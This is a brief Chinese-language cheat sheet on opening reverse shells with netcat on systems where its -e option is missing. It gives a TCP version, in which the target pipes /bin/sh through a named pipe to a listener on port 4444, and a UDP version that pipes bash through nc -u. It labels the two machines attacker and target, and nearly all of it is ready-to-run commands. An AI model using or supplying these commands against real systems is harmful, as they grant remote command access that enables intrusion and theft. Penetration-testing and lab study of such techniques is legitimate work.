NC不用-e建立TCP/UDP 反弹连接shell

主机1监听端口，主机2发起连接。

TCP shell

主机1：

nc -nvlp 4444

主机2：

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 主机1的IP 4444 1>/tmp/backpipe

如果第一步提示文件backpipe存在，且无法建立连接，则可以先把它删了重试：

rm /tmp/backpipe

UDP shell

攻击机：

nc -nuvlp 4444

靶机：

mkfifo fifo
nc -u 主机1的IP 4444 < fifo |
{ 
  echo "Hi"
  bash
} > fifo